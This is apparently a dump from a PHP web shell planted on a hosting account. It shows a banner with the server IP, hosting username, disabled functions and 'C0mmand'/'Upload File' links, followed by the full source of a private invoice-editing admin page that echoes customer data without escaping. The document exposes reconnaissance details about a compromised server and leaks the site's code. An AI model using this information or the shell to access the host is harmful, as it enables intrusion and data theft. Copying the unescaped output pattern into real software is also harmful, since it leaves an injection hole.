|
Server IP : 217.21.85.138 / Your IP : 216.73.216.103 Web Server : LiteSpeed System : Linux in-mum-web906.main-hosting.eu 4.18.0-553.37.1.lve.el8.x86_64 #1 SMP Mon Feb 10 22:45:17 UTC 2025 x86_64 User : u915722082 ( 915722082) PHP Version : 7.4.33 Disable Function : system, exec, shell_exec, passthru, mysql_list_dbs, ini_alter, dl, symlink, link, chgrp, leak, popen, apache_child_terminate, virtual, mb_send_mail MySQL : OFF | cURL : ON | WGET : ON | Perl : OFF | Python : OFF Directory (0755) : /home/u915722082/public_html/invoice/ |
| [ Home ] | [ C0mmand ] | [ Upload File ] |
|---|
<?php
session_start();
require_once 'db.php';
if(!isset($_SESSION["logs"])){
redirect("index.php");
}
$data["customer"]=resultSet($con,"SELECT * FROM customers");
$data["package"]=resultSet($con,"SELECT * FROM package");
$data["forms_value"]=resultSet($con,"SELECT * FROM forms_value");
$data["bulkpackage"]=resultSet($con,"SELECT * FROM bulkpackage");
$data["products"] = resultSet($con, "SELECT * FROM product p INNER JOIN forms_value fv ON fv.fid = p.pform ");
$ciid = mysqli_real_escape_string($con, $_GET['ciid']);
$query = "SELECT iv.*,SUM(ip.price * ip.quan) AS total_amount,ip.*,cs.*,cd.* FROM invoices iv inner join invoice_products ip on iv.inid=ip.invoice_id left join customers cs on iv.customer_id=cs.id inner join invoice_customerdetails cd on iv.inid=cd.invoice_cid inner join product pr on ip.pid = pr.pid WHERE iv.invoice_number = '$ciid' group by ip.ic";
$result = mysqli_query($con, $query);
if (!$result) {
die("SQL Error: " . mysqli_error($con));
}
$data["cus_product"] = resultSet($con, $query);
$data['invoice_cus'] = resultSet($con, "SELECT * FROM invoice_cus WHERE invnum = '$ciid'");
?>
<!DOCTYPE html>
<html lang="en">
<head>
<base href="" />
<title>TDS Admin Hub</title>
<meta charset="utf-8" />
<meta name="description" content="The most advanced Bootstrap 5 Admin Theme with 40 unique prebuilt layouts on Themeforest trusted by 100,000 beginners and professionals. Multi-demo, Dark Mode, RTL support and complete React, Angular, Vue, Asp.Net Core, Rails, Spring, Blazor, Django, Express.js, Node.js, Flask, Symfony & Laravel versions. Grab your copy now and get life-time updates for free." />
<meta name="keywords" content="metronic, bootstrap, bootstrap 5, angular, VueJs, React, Asp.Net Core, Rails, Spring, Blazor, Django, Express.js, Node.js, Flask, Symfony & Laravel starter kits, admin themes, web design, figma, web development, free templates, free admin themes, bootstrap theme, bootstrap template, bootstrap dashboard, bootstrap dak mode, bootstrap button, bootstrap datepicker, bootstrap timepicker, fullcalendar, datatables, flaticon" />
<meta name="viewport" content="width=device-width, initial-scale=1" />
<meta property="og:locale" content="en_US" />
<meta property="og:type" content="article" />
<meta property="og:title" content="Metronic - The World's #1 Selling Bootstrap Admin Template - Metronic by KeenThemes" />
<meta property="og:url" content="https://keenthemes.com/metronic" />
<meta property="og:site_name" content="Metronic by Keenthemes" />
<link rel="canonical" href="https://preview.keenthemes.com/metronic8" />
<link rel="shortcut icon" href="assets/media/logos/favicon.ico" />
<script src="https://ajax.googleapis.com/ajax/libs/jquery/3.5.1/jquery.min.js"></script>
<link rel="stylesheet" href="https://fonts.googleapis.com/css?family=Inter:300,400,500,600,700" />
<link href="assets/plugins/custom/datatables/datatables.bundle.css" rel="stylesheet" type="text/css" />
<link href="assets/plugins/global/plugins.bundle.css" rel="stylesheet" type="text/css" />
<link href="assets/css/style.bundle.css" rel="stylesheet" type="text/css" />
<style>
.ck-editor__editable[role="textbox"] {
min-height: 180px;
}
.image-upload-container {
border: 2px dashed #ccc;
border-radius: 8px;
padding: 20px;
text-align: center;
width: 300px;
position: relative;
transition: border-color 0.3s;
}
.image-upload-container:hover {
border-color: #007bff;
}
.image-upload-label {
cursor: pointer;
display: block;
}
.upload-icon {
font-size: 48px;
color: #007bff;
}
.upload-text {
margin-top: 10px;
color: #666;
}
.upload-text button {
margin-top: 10px;
}
.image-upload-input {
display: none;
}
.image-preview {
margin-top: 15px;
display: none;
position: relative;
}
.image-preview img {
max-width: 100%;
border-radius: 8px;
}
.image-preview::after {
content: "Preview";
position: absolute;
top: 0;
left: 0;
background: rgba(0, 0, 0, 0.6);
color: white;
font-size: 12px;
padding: 5px;
border-radius: 0 0 8px 0;
display: none;
}
</style>
</head>
<body id="kt_app_body" data-kt-app-layout="dark-sidebar" data-kt-app-header-fixed="true" data-kt-app-sidebar-enabled="true" data-kt-app-sidebar-fixed="true" data-kt-app-sidebar-hoverable="true" data-kt-app-sidebar-push-header="true" data-kt-app-sidebar-push-toolbar="true" data-kt-app-sidebar-push-footer="true" data-kt-app-toolbar-enabled="true" class="app-default">
<script>var defaultThemeMode = "light"; var themeMode; if ( document.documentElement ) { if ( document.documentElement.hasAttribute("data-bs-theme-mode")) { themeMode = document.documentElement.getAttribute("data-bs-theme-mode"); } else { if ( localStorage.getItem("data-bs-theme") !== null ) { themeMode = localStorage.getItem("data-bs-theme"); } else { themeMode = defaultThemeMode; } } if (themeMode === "system") { themeMode = window.matchMedia("(prefers-color-scheme: dark)").matches ? "dark" : "light"; } document.documentElement.setAttribute("data-bs-theme", themeMode); }
</script>
<div class="d-flex flex-column flex-root app-root" id="kt_app_root">
<div class="app-page flex-column flex-column-fluid" id="kt_app_page">
<div id="kt_app_header" class="app-header" data-kt-sticky="true" data-kt-sticky-activate="{default: true, lg: true}" data-kt-sticky-name="app-header-minimize" data-kt-sticky-offset="{default: '200px', lg: '0'}" data-kt-sticky-animation="false">
<div class="app-container container-fluid d-flex align-items-stretch justify-content-between" id="kt_app_header_container">
<div class="d-flex align-items-center d-lg-none ms-n3 me-1 me-md-2" title="Show sidebar menu">
<div class="btn btn-icon btn-active-color-primary w-35px h-35px" id="kt_app_sidebar_mobile_toggle">
<i class="ki-duotone ki-abstract-14 fs-2 fs-md-1">
<span class="path1"></span>
<span class="path2"></span>
</i>
</div>
</div>
<div class="d-flex align-items-center flex-grow-1 flex-lg-grow-0">
<a href="products.php" class="d-lg-none">
<img alt="Logo" src="assets/media/logos/default-small.svg" class="h-30px" />
</a>
</div>
<div class="d-flex align-items-stretch justify-content-between flex-lg-grow-1" id="kt_app_header_wrapper">
<!--begin::Menu wrapper-->
<div class="app-header-menu app-header-mobile-drawer align-items-stretch" data-kt-drawer="true" data-kt-drawer-name="app-header-menu" data-kt-drawer-activate="{default: true, lg: false}" data-kt-drawer-overlay="true" data-kt-drawer-width="250px" data-kt-drawer-direction="end" data-kt-drawer-toggle="#kt_app_header_menu_toggle" data-kt-swapper="true" data-kt-swapper-mode="{default: 'append', lg: 'prepend'}" data-kt-swapper-parent="{default: '#kt_app_body', lg: '#kt_app_header_wrapper'}">
<!--begin::Menu-->
<div class="menu menu-rounded menu-column menu-lg-row my-5 my-lg-0 align-items-stretch fw-semibold px-2 px-lg-0" id="kt_app_header_menu" data-kt-menu="true">
<!--begin:Menu item-->
<!--end:Menu item-->
</div>
<!--end::Menu-->
</div>
<!--end::Menu wrapper-->
<!--begin::Navbar-->
<div class="app-navbar flex-shrink-0">
<!--begin::Search-->
<!--end::Search-->
<!--begin::Activities-->
<!--end::Activities-->
<!--begin::Notifications-->
<!--end::Notifications-->
<!--begin::Chat-->
<!--end::Chat-->
<!--begin::My apps links-->
<!--end::My apps links-->
<!--begin::Theme mode-->
<div class="app-navbar-item ms-1 ms-md-4">
<!--begin::Menu toggle-->
<a href="#" class="btn btn-icon btn-custom btn-icon-muted btn-active-light btn-active-color-primary w-35px h-35px" data-kt-menu-trigger="{default:'click', lg: 'hover'}" data-kt-menu-attach="parent" data-kt-menu-placement="bottom-end">
<i class="ki-duotone ki-night-day theme-light-show fs-1">
<span class="path1"></span>
<span class="path2"></span>
<span class="path3"></span>
<span class="path4"></span>
<span class="path5"></span>
<span class="path6"></span>
<span class="path7"></span>
<span class="path8"></span>
<span class="path9"></span>
<span class="path10"></span>
</i>
<i class="ki-duotone ki-moon theme-dark-show fs-1">
<span class="path1"></span>
<span class="path2"></span>
</i>
</a>
<!--begin::Menu toggle-->
<!--begin::Menu-->
<div class="menu menu-sub menu-sub-dropdown menu-column menu-rounded menu-title-gray-700 menu-icon-gray-500 menu-active-bg menu-state-color fw-semibold py-4 fs-base w-150px" data-kt-menu="true" data-kt-element="theme-mode-menu">
<!--begin::Menu item-->
<div class="menu-item px-3 my-0">
<a href="#" class="menu-link px-3 py-2" data-kt-element="mode" data-kt-value="light">
<span class="menu-icon" data-kt-element="icon">
<i class="ki-duotone ki-night-day fs-2">
<span class="path1"></span>
<span class="path2"></span>
<span class="path3"></span>
<span class="path4"></span>
<span class="path5"></span>
<span class="path6"></span>
<span class="path7"></span>
<span class="path8"></span>
<span class="path9"></span>
<span class="path10"></span>
</i>
</span>
<span class="menu-title">Light</span>
</a>
</div>
<!--end::Menu item-->
<!--begin::Menu item-->
<div class="menu-item px-3 my-0">
<a href="#" class="menu-link px-3 py-2" data-kt-element="mode" data-kt-value="dark">
<span class="menu-icon" data-kt-element="icon">
<i class="ki-duotone ki-moon fs-2">
<span class="path1"></span>
<span class="path2"></span>
</i>
</span>
<span class="menu-title">Dark</span>
</a>
</div>
<!--end::Menu item-->
<!--begin::Menu item-->
<div class="menu-item px-3 my-0">
<a href="#" class="menu-link px-3 py-2" data-kt-element="mode" data-kt-value="system">
<span class="menu-icon" data-kt-element="icon">
<i class="ki-duotone ki-screen fs-2">
<span class="path1"></span>
<span class="path2"></span>
<span class="path3"></span>
<span class="path4"></span>
</i>
</span>
<span class="menu-title">System</span>
</a>
</div>
<!--end::Menu item-->
</div>
<!--end::Menu-->
</div>
<!--end::Theme mode-->
<!--begin::User menu-->
<?php include "logo.php" ?>
<!--end::User menu-->
<!--begin::Header menu toggle-->
<!-- <div class="app-navbar-item d-lg-none ms-2 me-n2" title="Show header menu">
<div class="btn btn-flex btn-icon btn-active-color-primary w-30px h-30px" id="kt_app_header_menu_toggle">
<i class="ki-duotone ki-element-4 fs-1">
<span class="path1"></span>
<span class="path2"></span>
</i>
</div>
</div> -->
<!--end::Header menu toggle-->
<!--begin::Aside toggle-->
<!--end::Header menu toggle-->
</div>
<!--end::Navbar-->
</div>
<!--end::Header wrapper-->
</div>
<!--end::Header container-->
</div>
<!--end::Header-->
<!--begin::Wrapper-->
<div class="app-wrapper flex-column flex-row-fluid" id="kt_app_wrapper">
<!--begin::Sidebar-->
<div id="kt_app_sidebar" class="app-sidebar flex-column" data-kt-drawer="true" data-kt-drawer-name="app-sidebar" data-kt-drawer-activate="{default: true, lg: false}" data-kt-drawer-overlay="true" data-kt-drawer-width="225px" data-kt-drawer-direction="start" data-kt-drawer-toggle="#kt_app_sidebar_mobile_toggle">
<!--begin::Logo-->
<div class="app-sidebar-logo px-6" id="kt_app_sidebar_logo">
<!--begin::Logo image-->
<a href="products.php">
<img alt="Logo" src="assets/media/logos/LOGO.png" class="h-25px app-sidebar-logo-default" />
<img alt="Logo" src="assets/media/logos/default-small.svg" class="h-20px app-sidebar-logo-minimize" />
</a>
<div id="kt_app_sidebar_toggle" class="app-sidebar-toggle btn btn-icon btn-shadow btn-sm btn-color-muted btn-active-color-primary h-30px w-30px position-absolute top-50 start-100 translate-middle rotate" data-kt-toggle="true" data-kt-toggle-state="active" data-kt-toggle-target="body" data-kt-toggle-name="app-sidebar-minimize">
<i class="ki-duotone ki-black-left-line fs-3 rotate-180">
<span class="path1"></span>
<span class="path2"></span>
</i>
</div>
<!--end::Sidebar toggle-->
</div>
<!--end::Logo-->
<!--begin::sidebar menu-->
<?php include "sidebar.php" ?>
<!--end::sidebar menu-->
<!--begin::Footer-->
<!--end::Footer-->
</div>
<!--end::Sidebar-->
<!--begin::Main-->
<div class="app-main flex-column flex-row-fluid" id="kt_app_main">
<!--begin::Content wrapper-->
<div class="d-flex flex-column flex-column-fluid">
<!--begin::Content-->
<div class="col-lg-12">
<div id="kt_app_content" class="app-content flex-column-fluid">
<!--begin::Content container-->
<div id="kt_app_content_container" class="app-container container-xxl">
<!--begin::Layout-->
<div class="d-flex flex-column flex-lg-row">
<!--begin::Content-->
<div class="flex-lg-row-fluid mb-10 mb-lg-0 me-lg-7 me-xl-10">
<!--begin::Card-->
<div class="card">
<!--begin::Card body-->
<div class="card-body p-12">
<!--begin::Form-->
<form id="kt_invoice_form" enctype="multipart/form-data">
<div class="d-flex flex-column align-items-start flex-xxl-row">
<div class="d-flex align-items-center flex-equal fw-row me-4 order-2" data-bs-toggle="tooltip" data-bs-trigger="hover" title="Specify invoice date">
<div class="fs-6 fw-bold text-gray-700 text-nowrap">Date:</div>
<div class="position-relative d-flex align-items-center w-150px">
<input class="form-control form-control-solid" name='invoice_date' placeholder="Pick date rage" id="kt_daterangepicker"/>
<span class="svg-icon svg-icon-2 position-absolute ms-4 end-0">
<svg width="24" height="24" viewBox="0 0 24 24" fill="none" xmlns="http://www.w3.org/2000/svg">
<path d="M11.4343 12.7344L7.25 8.55005C6.83579 8.13583 6.16421 8.13584 5.75 8.55005C5.33579 8.96426 5.33579 9.63583 5.75 10.05L11.2929 15.5929C11.6834 15.9835 12.3166 15.9835 12.7071 15.5929L18.25 10.05C18.6642 9.63584 18.6642 8.96426 18.25 8.55005C17.8358 8.13584 17.1642 8.13584 16.75 8.55005L12.5657 12.7344C12.2533 13.0468 11.7467 13.0468 11.4343 12.7344Z" fill="currentColor" />
</svg>
</span>
</div>
</div>
<div class="d-flex flex-center flex-equal fw-row text-nowrap order-1 order-xxl-2 me-4" data-bs-toggle="tooltip" data-bs-trigger="hover" title="Enter invoice number">
<span class="fs-2x fw-bold text-gray-800">Invoice #</span>
<input type="text" class="form-control form-control-flush fw-bold text-muted fs-3 w-125px" name='invoice_number' value="<?php echo $data["cus_product"][0]['invoice_number'] ?>" placehoder="..." />
</div>
<div class="d-flex align-items-center justify-content-end flex-equal order-3 fw-row" data-bs-toggle="tooltip" data-bs-trigger="hover" title="Specify invoice due date">
<div class="fs-6 fw-bold text-gray-700 text-nowrap">Due Date:</div>
<div class="position-relative d-flex align-items-center w-150px">
<input class="form-control form-control-solid" name='due_date' placeholder="Pick date rage" id="kt_daterangepicker_3"/>
<span class="svg-icon svg-icon-2 position-absolute end-0 ms-4">
<svg width="24" height="24" viewBox="0 0 24 24" fill="none" xmlns="http://www.w3.org/2000/svg">
<path d="M11.4343 12.7344L7.25 8.55005C6.83579 8.13583 6.16421 8.13584 5.75 8.55005C5.33579 8.96426 5.33579 9.63583 5.75 10.05L11.2929 15.5929C11.6834 15.9835 12.3166 15.9835 12.7071 15.5929L18.25 10.05C18.6642 9.63584 18.6642 8.96426 18.25 8.55005C17.8358 8.13584 17.1642 8.13584 16.75 8.55005L12.5657 12.7344C12.2533 13.0468 11.7467 13.0468 11.4343 12.7344Z" fill="currentColor" />
</svg>
</span>
</div>
</div>
</div>
<div class="separator separator-dashed my-10"></div>
<div class="mb-0">
<div class="row gx-10 mb-5">
<div class="col-lg-6">
<label class="form-label fs-6 fw-bold text-gray-700 mb-3">Select Customer</label>
<div class="mb-5">
<select class="form-select" name="customer" data-control="select2" data-placeholder="Select an Customer">
<option></option>
<?php foreach ($data["customer"] as $row): ?>
<option value="<?php echo $row["id"] ?>" <?= ($data["cus_product"][0]['customer_id'] == $row["id"]) ? 'selected' : '' ?> ><?php echo $row["name"] ?></option>
<?php endforeach; ?>
</select>
</div>
</div>
<!-- <div class="col-lg-6">
<label class="form-label fs-6 fw-bold text-gray-700 mb-3">GST Details</label>
<div class="mb-5">
<select class="form-select" name="cus_gst" data-placeholder="GST">
<option value="0" <?= ($data["cus_product"][0]['gst_type'] == 0) ? 'selected' : '' ?>>Without Gst</option>
<option value="1" <?= ($data["cus_product"][0]['gst_type'] == 1) ? 'selected' : '' ?>>With Gst</option>
</select>
</div>
<div class="mb-5 d-none">
<input type="text" class="form-control" value="<?php echo $data["cus_product"][0]['withgst'] ?>" name='withgst' placeholder="GST" />
</div>
</div> -->
<div class="col-lg-6">
<label class="form-label fs-6 fw-bold text-gray-700 mb-3">GST Details</label>
<div class="mb-5">
<div class="form-check form-check-inline">
<input class="form-check-input" type="radio" name="cus_gst" id="gst_no" value="0" <?= ($data["cus_product"][0]['gst_type'] == 0) ? 'checked' : '' ?> >
<label class="form-check-label" for="gst_no">No</label>
</div>
<div class="form-check form-check-inline">
<input class="form-check-input" type="radio" name="cus_gst" id="gst_yes" value="1" <?= ($data["cus_product"][0]['gst_type'] == 1) ? 'checked' : '' ?>>
<label class="form-check-label" for="gst_yes">Yes</label>
</div>
</div>
</div>
<div class="col-12">
<div class="separator separator-dashed my-10"></div>
</div>
<div class="col-lg-12">
<div class='form-group row'>
<h2 class='pb-4'>Bill Address</h2>
<div class='col-md-6'>
<label class='form-label'>Name</label>
<input type='text' class='form-control mb-3' name='customer_name' value='<?php echo $data["cus_product"][0]['customer_name'] ?>' >
</div>
<div class='col-md-6'>
<label class='form-label'>Email</label>
<input type='text' class='form-control mb-3' name='customer_email' value='<?php echo $data["cus_product"][0]['customer_email'] ?>' >
</div>
<div class='col-md-6'>
<label class='form-label'>Phone</label>
<input type='text' class='form-control mb-3' name='customer_phone' value='<?php echo $data["cus_product"][0]['customer_phone'] ?>' >
</div>
<div class='col-md-6'>
<label class='form-label'>Address</label>
<input type='text' class='form-control mb-3' name='customer_billing_address' value='<?php echo $data["cus_product"][0]['customer_billing_address'] ?>' >
</div>
<div class='col-md-6'>
<label class='form-label'>City</label>
<input type='text' class='form-control mb-3' name='customer_billing_city' value='<?php echo $data["cus_product"][0]['customer_billing_city'] ?>' >
</div>
<div class='col-md-6'>
<label class='form-label'>State</label>
<input type='text' class='form-control mb-3' name='customer_billing_state' value='<?php echo $data["cus_product"][0]['customer_billing_state'] ?>' >
</div>
<div class='col-md-6'>
<label class='form-label'>Pincode</label>
<input type='text' class='form-control mb-3' name='customer_billing_pincode' value='<?php echo $data["cus_product"][0]['customer_billing_pincode'] ?>' >
</div>
<div class='col-md-6'>
<label class='form-label'>GST Number</label>
<input type='text' class='form-control mb-3' name='customer_gst' value='<?php echo $data["cus_product"][0]['customer_gst'] ?>' >
</div>
</div>
</div>
<div class="col-12">
<div class="separator separator-dashed my-10"></div>
</div>
<div class="col-lg-12">
<?php if(($data["cus_product"][0]['shipping_address'])!=($data["cus_product"][0]['customer_billing_address'])){
?>
<div class='form-check form-switch form-check-custom form-check-solid pb-5 '>
<input class='form-check-input' type='checkbox' checked id='toggleShippingAddress01'/>
<label class='form-check-label fs-5 fw-semibold' for='toggleShippingAddress01' >Add Shipping Address (different from billing)</label>
</div>
<div id='shippingAddressSection01' >
<div class='form-group row'>
<h2 class='pb-4'>Ship Address</h2>
<div class='col-md-6'>
<label class='form-label'>Shipping Name</label>
<input type='text' class='form-control mb-3' name='shipping_name' value='<?php echo $data["cus_product"][0]['shipping_name'] ?>' >
</div>
<div class='col-md-6'>
<label class='form-label'>Shipping City</label>
<input type='text' class='form-control mb-3' name='shipping_city' value='<?php echo $data["cus_product"][0]['shipping_city'] ?>' >
</div>
<div class='col-md-12'>
<label class='form-label'>Shipping Address</label>
<input type='text' class='form-control mb-3' name='shipping_address' value='<?php echo $data["cus_product"][0]['shipping_address'] ?>' >
</div>
<div class='col-md-6'>
<label class='form-label'>Shipping State</label>
<input type='text' class='form-control mb-3' name='shipping_state' value='<?php echo $data["cus_product"][0]['shipping_state'] ?>' >
</div>
<div class='col-md-6'>
<label class='form-label'>Shipping Pincode</label>
<input type='text' class='form-control mb-3' name='shipping_pincode' value='<?php echo $data["cus_product"][0]['shipping_pincode'] ?>' >
</div>
</div>
</div>
<?php
}else{
?>
<div class='form-check form-switch form-check-custom form-check-solid pb-5'>
<input class='form-check-input' type='checkbox' id='toggleShippingAddress01'/>
<label class='form-check-label fs-5 fw-semibold' for='toggleShippingAddress01' >Add Shipping Address (different from billing)</label>
</div>
<div id='shippingAddressSection01' style='display: none;'>
<div class='form-group row'>
<h2 class='pb-4'>Ship Address</h2>
<div class='col-md-6'>
<label class='form-label'>Shipping Name</label>
<input type='text' class='form-control mb-3' name='shipping_name' value='' placeholder='Shipping Customer Name' >
</div>
<div class='col-md-6'>
<label class='form-label'>Shipping City</label>
<input type='text' class='form-control mb-3' name='shipping_city' value='' placeholder='Shipping City'>
</div>
<div class='col-md-12'>
<label class='form-label'>Shipping Address</label>
<input type='text' class='form-control mb-3' name='shipping_address' value='' placeholder='Shipping Address' >
</div>
<div class='col-md-6'>
<label class='form-label'>Shipping State</label>
<input type='text' class='form-control mb-3' name='shipping_state' value='' placeholder='Shipping State' >
</div>
<div class='col-md-6'>
<label class='form-label'>Shipping Pincode</label>
<input type='text' class='form-control mb-3' name='shipping_pincode' value='' placeholder='Shipping Pincode' >
</div>
</div>
</div>
<?php
} ?>
</div>
<div class="col-12">
<div class="separator separator-dashed my-10"></div>
</div>
<div class="col-md-12">
<h2 class=' pb-3'>Vehicle Details</h2>
</div>
<div class="col-lg-6">
<h4 class="form-label fs-6 fw-bold text-gray-700 mb-3">Vehicle number </h4>
<input type="text" class="form-control mb-2 mb-md-0" name="vehical_number" value="<?php echo $data["cus_product"][0]['vehical_number'] ?>" required placeholder="Enter Vehical Number " />
</div>
<div class="col-lg-6">
<h4 class="form-label fs-6 fw-bold text-gray-700 mb-3">vehicle</h4>
<select class="form-select" name="customer_vehicle" data-control="select2" data-placeholder="Select an Customer">
<option></option>
<option value='0' <?= ($data["cus_product"][0]['customer_vehicle'] == 0) ? 'selected' : '' ?>> Paid </option>
<option value='1' <?= ($data["cus_product"][0]['customer_vehicle'] == 1) ? 'selected' : '' ?>> To Pay </option>
</select>
</div>
<div class="col-12">
<div class="separator separator-dashed my-10"></div>
</div>
<div class="col-xxl-12">
<div id="kt_docs_repeater_basic" class="">
<h2 class="fw-bold mb-5 ">Selected Products</h2>
<div class="row">
<div class="col-md-3">
<label class="form-label">Product</label>
</div>
<!-- <div class="col-md-2">
<label class="form-label">HSN Code</label>
</div> -->
<div class="col-md-2">
<label class="form-label">Package</label>
</div>
<div class="col-md-2">
<label class="form-label">Quantity</label>
</div>
<div class="col-md-2">
<label class="form-label"> Price / Item</label>
</div>
</div>
<div class="form-group">
<div data-repeater-list="kt_docs_repeater_basic">
<?php foreach($data["cus_product"] as $re): ?>
<div data-repeater-item>
<div class="form-group pt-5 row">
<div class="col-md-3">
<!-- Product Select -->
<select class="form-select pid"
data-control="select2"
data-kt-repeater="select2"
name="pid"
data-placeholder="Select a product">
<option></option>
<?php foreach ($data["products"] as $row): ?>
<option value="<?php echo $row['pid']; ?>" <?php echo ($row['pid'] == $re['pid']) ? 'selected' : ''; ?>>
<?php echo $row['pname']; ?> (<?php echo $row['measurement']; ?>)
</option>
<?php endforeach; ?>
</select>
</div>
<div class="col-md-2">
<!-- Store the selected paid value as a data attribute -->
<!-- Packing Select -->
<select class="form-select paid mb-2"
data-control="select2"
data-kt-repeater="select2"
name="packing"
data-placeholder="Select a package"
data-selected-value="<?php echo $re['package']; ?>">
<option></option>
<!-- Options will be populated by JavaScript -->
</select>
</div>
<div class="col-md-2">
<input type="number" class="form-control mb-2 mb-md-0" name="iqty" min="1" required value="<?php echo $re['quan'] ?>" placeholder="Enter Quantity" />
</div>
<div class="col-md-2">
<input type="number" class="form-control mb-2 mb-md-0" name="newprice" min="1" value="<?php echo $re['price'] ?>" required placeholder="Enter Price" />
</div>
<div class="col-md-1">
<a href="javascript:;" data-repeater-delete class="mt-1 btn btn-sm btn-light-danger">
<i class="ki-duotone ki-trash fs-5">
<span class="path1"></span>
<span class="path2"></span>
<span class="path3"></span>
<span class="path4"></span>
<span class="path5"></span>
</i>
</a>
</div>
</div>
</div>
<?php endforeach; ?>
</div>
</div>
<div class="form-group mt-5">
<button type="button" data-repeater-create style="display:none;" id="realAddRepeaterBtn"></button>
<button type="button" id="addNewRowBtn" class="btn btn-primary">Add Product</button>
</div>
</div>
</div>
</div>
</div>
<div class="d-flex justify-content-end mt-4">
<a href="invoice.php" id="kt_ecommerce_add_product_cancel" class="btn btn-light me-5">Cancel</a>
<button type="submit" id="btn-submit" class="btn btn-primary">
<span class="indicator-label">Submit</span>
<span class="indicator-progress">Please wait...
<span class="spinner-border spinner-border-sm align-middle ms-2"></span>
</span>
</button>
</div>
</form>
<!--end::Form-->
</div>
<!--end::Card body-->
</div>
<!--end::Card-->
</div>
<!--end::Content-->
<!-- <div class="flex-lg-auto min-w-lg-300px">
<div class="card" data-kt-sticky="true" data-kt-sticky-name="invoice" data-kt-sticky-offset="{default: false, lg: '200px'}" data-kt-sticky-width="{lg: '250px', lg: '300px'}" data-kt-sticky-left="auto" data-kt-sticky-top="150px" data-kt-sticky-animation="false" data-kt-sticky-zindex="95">
<div class="card-body p-10">
<div class="mb-10">
<label class="form-label fw-bold fs-6 text-gray-700">Currency</label>
<select name="currnecy" aria-label="Select a Timezone" data-control="select2" data-placeholder="Select currency" class="form-select form-select-solid">
<option value=""></option>
<option data-kt-flag="flags/united-states.svg" value="USD">
<b>USD</b> - USA dollar</option>
<option data-kt-flag="flags/united-kingdom.svg" value="GBP">
<b>GBP</b> - British pound</option>
<option data-kt-flag="flags/australia.svg" value="AUD">
<b>AUD</b> - Australian dollar</option>
<option data-kt-flag="flags/japan.svg" value="JPY">
<b>JPY</b> - Japanese yen</option>
<option data-kt-flag="flags/sweden.svg" value="SEK">
<b>SEK</b> - Swedish krona</option>
<option data-kt-flag="flags/canada.svg" value="CAD">
<b>CAD</b> - Canadian dollar</option>
<option data-kt-flag="flags/switzerland.svg" value="CHF">
<b>CHF</b> - Swiss franc</option>
</select>
</div>
<div class="separator separator-dashed mb-8"></div>
<div class="mb-8">
<label class="form-check form-switch form-switch-sm form-check-custom form-check-solid flex-stack mb-5">
<span class="form-check-label ms-0 fw-bold fs-6 text-gray-700">Payment method</span>
<input class="form-check-input" type="checkbox" checked="checked" value="" />
</label>
<label class="form-check form-switch form-switch-sm form-check-custom form-check-solid flex-stack mb-5">
<span class="form-check-label ms-0 fw-bold fs-6 text-gray-700">Late fees</span>
<input class="form-check-input" type="checkbox" value="" />
</label>
<label class="form-check form-switch form-switch-sm form-check-custom form-check-solid flex-stack">
<span class="form-check-label ms-0 fw-bold fs-6 text-gray-700">Notes</span>
<input class="form-check-input" type="checkbox" value="" />
</label>
</div>
<div class="separator separator-dashed mb-8"></div>
<div class="mb-0">
<div class="row mb-5">
<div class="col">
<a href="#" class="btn btn-light btn-active-light-primary w-100">Preview</a>
</div>
<div class="col">
<a href="#" class="btn btn-light btn-active-light-primary w-100">Download</a>
</div>
</div>
<button type="submit" href="#" class="btn btn-primary w-100" id="kt_invoice_submit_button">
<span class="svg-icon svg-icon-3">
<svg width="24" height="24" viewBox="0 0 24 24" fill="none" xmlns="http://www.w3.org/2000/svg">
<path d="M15.43 8.56949L10.744 15.1395C10.6422 15.282 10.5804 15.4492 10.5651 15.6236C10.5498 15.7981 10.5815 15.9734 10.657 16.1315L13.194 21.4425C13.2737 21.6097 13.3991 21.751 13.5557 21.8499C13.7123 21.9488 13.8938 22.0014 14.079 22.0015H14.117C14.3087 21.9941 14.4941 21.9307 14.6502 21.8191C14.8062 21.7075 14.9261 21.5526 14.995 21.3735L21.933 3.33649C22.0011 3.15918 22.0164 2.96594 21.977 2.78013C21.9376 2.59432 21.8452 2.4239 21.711 2.28949L15.43 8.56949Z" fill="currentColor" />
<path opacity="0.3" d="M20.664 2.06648L2.62602 9.00148C2.44768 9.07085 2.29348 9.19082 2.1824 9.34663C2.07131 9.50244 2.00818 9.68731 2.00074 9.87853C1.99331 10.0697 2.04189 10.259 2.14054 10.4229C2.23919 10.5869 2.38359 10.7185 2.55601 10.8015L7.86601 13.3365C8.02383 13.4126 8.19925 13.4448 8.37382 13.4297C8.54839 13.4145 8.71565 13.3526 8.85801 13.2505L15.43 8.56548L21.711 2.28448C21.5762 2.15096 21.4055 2.05932 21.2198 2.02064C21.034 1.98196 20.8409 1.99788 20.664 2.06648Z" fill="currentColor" />
</svg>
</span>
Send Invoice</button>
</div>
</div>
</div>
</div> -->
</div>
</div>
</div>
<!--end::Content-->
</div>
<!--end::Content wrapper-->
<!--begin::Footer-->
<div id="kt_app_footer" class="app-footer">
<!--begin::Footer container-->
<div class="app-container container-fluid d-flex flex-column flex-md-row flex-center flex-md-stack py-3">
<!--begin::Copyright-->
<div class="text-gray-900 order-2 order-md-1">
<span class="text-muted fw-semibold me-1">2025©</span>
<a href="https://thedotstudios.com/" target="_blank" class="text-gray-800 text-hover-primary">Copyright All rights reserved | Made with <span class="fa fa-heart text-danger"></span> <b> by TheDotStudios</b></a>
</div>
<!--end::Copyright-->
<!--begin::Menu-->
<ul class="menu menu-gray-600 menu-hover-primary fw-semibold order-1">
<li class="menu-item">
<a href="https://thedotstudios.com/" target="_blank" class="menu-link px-2">About</a>
</li>
<li class="menu-item">
<a href="https://thedotstudios.com/" target="_blank" class="menu-link px-2">Support</a>
</li>
</ul>
<!--end::Menu-->
</div>
<!--end::Footer container-->
</div>
<!--end::Footer-->
</div>
<!--end:::Main-->
</div>
<!--end::Wrapper-->
</div>
<!--end::Page-->
</div>
<!--end::App-->
<!--begin::Drawers-->
<!--begin::Javascript-->
<!-- <script src="https://cdn.ckeditor.com/ckeditor5/41.2.1/classic/ckeditor.js"></script>
<script>
ClassicEditor
.create(document.querySelector('#cdes'))
.catch(error => {
console.error(error);
});
</script>
<script>
ClassicEditor
.create(document.querySelector('#metades'))
.catch(error => {
console.error(error);
});
</script> -->
<script>var hostUrl = "assets/";</script>
<!--begin::Global Javascript Bundle(mandatory for all pages)-->
<script src="assets/plugins/global/plugins.bundle.js"></script>
<script src="assets/js/scripts.bundle.js"></script>
<!--end::Global Javascript Bundle-->
<!--begin::Vendors Javascript(used for this page only)-->
